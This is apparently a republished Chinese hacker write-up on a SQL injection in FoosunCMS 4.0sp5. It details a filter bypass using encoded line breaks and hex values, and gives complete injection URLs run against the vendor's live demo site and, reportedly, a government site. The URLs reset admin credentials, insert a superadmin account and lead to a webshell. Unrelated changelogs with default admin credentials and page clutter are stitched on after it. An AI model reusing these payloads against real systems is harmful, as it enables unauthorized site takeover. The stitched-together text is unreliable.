风讯CMS4.0sp5 商业版的致命伤

文章作者:oldjun&flyh4t[ 脚本安全小组]
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

注意:文章已经发表在《***手册》后由作者友情提交到邪恶八进制信息安全团队技术论坛,转载请注明出处

FooSunCMS(风讯网站管理系统)是由四川风讯科技发展有限公司自主编写的一套ASP+ACCESS/MSSQL的内容管理系统程序,FoosunCMS已形成内容管理系统整站解决方案。虽然其功能强大,但是在安全性上去是非常脆弱。
记得以前风讯刚出4.0时,过滤的关键字如下:
f_NoSqlHack_AllStr="'|;|and |chr(|exec |insert |select |delete from|update |mid(|master."
先笑笑这个风讯的过滤函数,名字起的很不错,叫NoSqlHack,但是真的是这样吗?这段sql注入的屏蔽词中,好多关键词都是紧接着空格的,可以用 update%09、update/**/代替update+空格啊。虽然过滤了分号,但是大家有条件的可以测试一下,mssql多句执行不一定是要分号来分割的,你是否觉得有寒意?过滤函数被突破的话,是否意味每个点都是注射点…
最近风讯4.0sp5问世了,我们再来看看其是否有改进。看过改进后的过滤函数
————————————————————————
Function NoSqlHack(FS_inputStr)
Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr
Str_InputStr=FS_inputStr
f_NoSqlHack_AllStr="*|and |exec |or |insert |select |delete |update |count |master |truncate |declare |and |exec |insert |select |delete |update |count |master |truncate |declare |char(|mid(|chr(|and[|exec[|insert[|select[|delete[|update[|count[|master[|truncate[|declare[|set[|set |set |where[|where |where |xp_cmdshell|xp_cmdshell |xp_cmdshell "
f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")

…… 这里是去掉的若干没有用的代码

NoSqlHack = Replace(Str_InputStr,"'","''")
End FunctionEnd Function
—————————————————————————
比老版本过滤的要多一些了,貌似很多关键词还有关键词+空格的都过滤了。/**/也不行了,因为*号也被过滤了,tab也被过滤了,所以%09也无法使用。但是众所周知,mssql对hacker是非常友好的,我们只要找到其他分割符号,这个函数还是很容易被突破的。
思考了一段时间,百度查查最新的注入方法,看看电脑里一系列注入资料,我们俩绞尽脑汁搞了好久,但都没能找到一个明确的好方法;我们甚至尝试过“\n”分割,不过sql下行不通。后来我想,Mssql疏松的特性使得我们有了可趁之机,因此空格,tab都可以被它识别,所以以前的版本我们能利用tab来***,而且有时把空格去掉,mssql都能识别,想到这里,大家会不会跟我一样会出现一个灵感:我们可以不可以尝试回车(这是本文的精彩之处,也是本次***最关键的地方),于是我用URLEncode把回车编码了一下是:%0D%0A%0D%0A,
下面我们来测试官方网站吧,随便注册个用户,进入用户管理后台,写了个日志,地址是:
[url]http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2[/url]
测试个and 1=1,ok的,于是继续测试:
[url]http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=%27%27--[/url]
返回正常,语句成功执行了。

很不错,连忙去后台登录,心想用户名应该不会变化的,直接用admin,可是密码为空的时候,后台提交的时候提示“请输入您的密码!”,很明显那是js的判断,于是把登录页面另存为本地页面,把js去掉,再提交以后又跳出来一个alert:“请填写完整”,打开后台checklogin.asp页面,发现有这句:
if p_UserName = "" or p_TempUserPass = "" then
Response.Write("<script>alert(""错误:\n请填写完整"");location.href=""Login.asp"";</script>")
Response.End
end if
郁闷,逼我给它设置密码啊,于是执行了下一句: [url]http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=&#39;83aa400af464c76d&#39;--[/url]
其中:83aa400af464c76d是数字12345678的十六位MD5,执行下,出错了:


寒,原来我忘记了,这个函数还有模有样的把单引号替换掉了,这个就很容易饶过了:12345678先用用md5加密,然后再编成十六进制是38336161343030616634363463373664,于是我执行了下: [url]http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=0x38336161343030616634363463373664--[/url]
返回正常,兴奋,于是再进后台,输入用户名密码,结果提示:请检查用户名和密码的正确性;郁闷了,难道官方的用户名不是admin,算了用户名也修改掉算了,把“oldjun”十六进制转换了下发过来:0x6F6C646A756E,于是我执行了下用户名的设置:
[url]http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Name=0x6F6C646A756E--[/url]
返回正常了,证明一样的执行成功了,再登录后台,用户名:oldjun;密码:12345678,接下来出现了让我们大失所望的结果,依旧跳出个alert提示:请检查用户名和密码的正确性。

到这个地方,我开始怀疑是官方站做了手脚了。但我不甘心,从他们的客户案例里找到一个政府站,按照上面的方法试了下,结果居然一样,执行成功了就是登录不进去!那就不是数据库的问题了,很可能是编码的问题。于是我在本地sqlserver里建个表执行了下插入一个用户密码的数据,执行成功了,看看出来的东西,搞笑了,居然是乱码:


怪不得执行成功了还是错误,编码出现问题了。肯定是十六进制编码与字段类型不符合,问了下朋友终于搞清楚了:varchar是非 Unicode 的字符数据;nvarchar是Unicode 数据,所以还要重新编码成长的十六进制:
用户名“oldjun”编码以后是:0x6F006C0064006A0075006E00
密码“12345678”编码以后是:0x3800330061006100340030003000610066003400360034006300370036006400
好了,本地插入了下,ok,数据库出来的用户名密码均是我们预期中的数据,显示正常无乱码!于是提交下列语句到风讯:
[url]http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;insert%0D%0A%0D%0Ainto%20FS_MF_Admin%20[/url](Admin_Name,Admin_Pass_Word)values(0x6F006C0064006A0075006E00,0x3800330061006100340030003000610066003400360034006300370036006400)--
再一次的返回正常预示着风讯这个demo站已经是我的了。

再次进后台已经是没有阻拦了,虽然后台没CSS,看的我头大,但还是很欣喜啊。准备试试拿webshell,不过好像选项很少啊,看看状态条:一般管理员,我寒了,原来还有一般管理员与超级管理员之分,我又看了下风讯的数据结构,原来超级管理员是Admin_Is_Super为1的管理员。这么简单,连编码都用不着了,直接写个执行代码,由于前几次我对sql语句不放心,不敢执行太多的sql语句,所以我没加条件,也就是set用户名与密码的时候都是集体 set,一个语句change了所有的用户名或者密码,这回我加了个条件:
[url]http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Is_Super=1%20where%0D%0A%0D%0AAdmin_Name=0x6F006C0064006A0075006E00--[/url]
好了,所有叫oldjun的管理员都是超级管理员了。用过FooSun的朋友都知道,它管理后台功能非常强大。用bct某人的话说,它强到是一台电脑,一台可以使得恶意用户与服务器相互沟通的电脑。下面的工作就是利用这个强大的后台得到webshell了,有两个简单的方法。第一是利用设置上传文件类型的 Webshell;第二就是通过修改配置文件设置的页面,修改const.asp的,可以直接写入一个asp***


本地执行下,传个大马上去,终于拿到shell了:


剩下的事情我们没做,C盘有浏览的权限,但我们没继续尝试提权。目前所有风讯sp5以及sp5以下的sql版本已经全部处于危险之中,大家可以直接过滤危险的参数,不要带空格或者其他,官方的过滤纯属画蛇添足。我们将尽快联系风讯官方,让其尽早推出更新补丁!本次纯属测试,以及提供一个注入***的思路,请大家看到此文章以后不要尝试黑别人的站。
功能介绍:  全新操作界面  无限分类  生成目录自由保存到指定的目录  全静态生成  全个性化模板生成,模板由用户自由定义  支持二级域名管理  栏目自定义生成文件名规则  栏目可以排序,并支持是否隐藏栏目  自定义快捷菜单  自由标签化管理,自定义信息调用数量,标签自由存放  回收站管理  优化编辑器代码  优化生成部分代码  自由JS管理  自定义JS管理  在线执行SQL语句  数据库归档功能  自由化的权限分配管理  专题管理  自定义首页,栏目,新闻扩展名  虚拟目录管理  优化图片上传管理功能  在线发送邮件  支持单个新闻生成  批量转移,批量生成  评论审核  内部联接管理  信息采集分页处理功能  会员管理  图片管理  下载管理  信息采集系统  流量统计系统  投稿管理  投票管理  广告管理  会员系统支持DVBBS会员切换功能  支持第3方插件  图片、下载、信息高度集成  v3.0 Sp1更新:  1. 增加上一篇、下一篇功能  2. 增加手动插入分页符功能  3. 修改高级搜索时间采用选择方式  4. 模版管理中增加“重命名”功能  5. 增加合并栏目功能  6. 修正来源管理、作者管理、责任编辑管理、内部链接管理修改时出现的错误  7. 修正文字新闻、图片新闻、下载在重新生成的时候产生垃圾文件的问题  8. 修正首页加下载统计标签出错的问题  9. 修正在虚拟路路径下运行时,选择图片的错误  10.增加了友情链接中缺少的图片  11.修正网站维护中未添数据,更新出错的问题  12.修正了推荐图片中 是否弹出窗口反了的问题  13.修正了隐藏的栏目在搜索的下拉框显示出来的问题  14.修正部分连接错误  15.修正刚进入站点的时候提示脚本出错的问题  16.修正模版修改时 保存路径显示不正确的问题   17.修正会员管理、添加的注入漏洞  18.修正模板管理里面删除、建立有时出错的问题  19.修正添加图片新闻的时候,显示的属性重复(公告、头条)  20.修正了修改超管密码的时候,出现脚本错误提示的问题  22.修正在线编辑修改图片属性的时候:如果地址太长则后面的“确定”、“取消”按钮不能显示的问题  23.修正了调用站点地图的标签,不论选择横向和纵向都是一样的效果的问题  24.修正插入视频不可以播放的问题  25.修正了管理员部分权限  26.修正了调用文字友情连接的时候显示不对的问题  27.修正了绑定二级域名后,多页新闻除第一页连接正确 其余的页不对的问题  28.新闻生成模块重写代码,生成速度更快。  29.推荐新闻 热点新闻 导读新闻 最新新闻可自己选择是否调用子栏目的新闻    后台登陆地址为:/管理目录/login.asp  用户名和密码为:admin/admin888   
风讯网站内容管理系统(FoosunCMS)最新官方版,风讯内容管理系统(FoosunCMS)是一款具有强大的功能的基于ASP+ACCESS/MSSQ构架的内容管理软件,国内领先的第一款开源的、集成web2.0元素的、模块化的CMS建站系统。 风讯内容管理系统(FoosunCMS) 5.0 全子系统版 更新日志: 代码全新编写 支持DIV+CSS 自定义字段(新闻,商城) 全新的生成技术 全新的标签管理方式,所见即所得的标签方式 模板可视、文本编辑模式 自动发布任务管理(需要服务器安装自动刷新组件) 全新的权限、角色管理 安全日志管理、操作日志管理 RSS聚合订阅 信息自定义模式显示 强大的信息自定义显示功能。取代自由标签功能。 系统管理员登陆设置 管理员密码保护功能 登陆后台风格控制 所有系统模板控制 优化的性能管理 全新界面管理 增强信息收集功能 程序特点: 1.全部生成静态页面 2.完全人性化的操作方式 3.系统内置标签和自由标签管理,可以生成任何页面需要的任何元素和样式 4.集成了新闻采集系统 5.会员管理系统,并与流行论坛高度整合 6.自由化的权限分配管理 7.全个性化模板生成,模板由用户自由定义 8.投稿,投票,广告管理 9.面向高级技术人员的自由化SQ扩展标签 10.自动生成图片水印 11.新增Dreamweaver插件功能 12.其他一些功能... 管理目录:admin 管理员:admin 密码:admin888
自3月22日dotNETCMSv1.0免费版本发布后,dotNETCMSv1.0的SP1补丁准备工作稳定进行,其间陆续收到各位朋友们热心的意见和BUG反馈,也加快了我们BUG收集进度,同时更有利于我们根据用户反映情况优先解决用户在操作使用中遇到的问题。 风讯科技发展有限公司决定于2008年4月23日下午3:30提供免费版本dotNETCMSv1.0SP1下载。   同时,应广大爱好者的强烈要求,为了降低用户的成本,操作难度,风讯同时推出dotNETCMSv1.0ACCESS版本。 [BUG修复清单]   1.动态调用,终极列表,仅在第一页能显示出来。其他页面为空白。   2.点击发布管理--发布日志,解决了提示有误信息。   3.关于后台自定义表单存在表单项,显示不完全。   4.修正新闻附件时,自动加载一条下载项。   5.采集系统,使用新浪网类似采集时,采集失败100%,查看URL采集的地址,是因为地址不正确引起的,即继承了栏目的URL。   6.新增JS发布功能。   7.进一步修正网站端口合理性,如:带有端口号的问题。生成的连接路径: <a href=":84/html/2008-4/2008-4-14-14-3。html">这种显示不对,端口号应该是与域名连在一起的。会员标签问题 调查,广告类的端口问题。   8.增加后台上传文件后预览格式--Pdf格式已加入预览行列。   9.解决了栏目和新闻复制与移动报错。   10.将栏目管理生成静态文件的方式,修改成与新闻管理的新闻生成方式一致,不需要返回到发布管理时里面去处理生成。   11.解决了关于列表标签新闻条数据不受限制的问题。(新闻列表标签,调用数据成2的倍数,调用2条出现4条,调用5条出现10条。 同时每一个列表标签下面都跟了一个更多链接,请将更多链接加入标签里面, 以便进行设置样式,显示名称。同时还存在一个问题,如果我调用的最新所有的新闻,那么这个更多链接到那个页面呢?)   12.当列表标签生成以table方式生成后,代码出现如下情况,无头<table>但有结束</table>。   13.完善了会员投稿错误功能。   14.修正AC、SQL版本的终极列表页,分页偶尔显示标签的情况。   15.修正系统学习和练习使用模版,在编辑时不显示CSS框架布局的情况。   16.修正了AC版相关报错的情况。 17.完善了修改新闻栏目批量属性的功能。   18.完善了动态发布新闻标题与内容正确链接的情况。   19.后台评论管理,操作某条评论时,称对其进行解锁或锁定影响其它评论的完善。   20.修正了会员中心添加好友,发信息时提示有误的情况。   21.修正会员讨论组捐献有误提示。   22.完善会员中心在任意地方登录默认为Admin用户。   23.修正了栏目列表标签无更多链接,加入了更多的设置。   24.完善了渐变广告位置不能设置,一直在左下角的功能。   25.修正了自定义字段的栏目归档新闻指向新的数据表。   26.修正了AC版本中数据库备份成功了的,点击下载却出错。   27.论坛整合修正。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值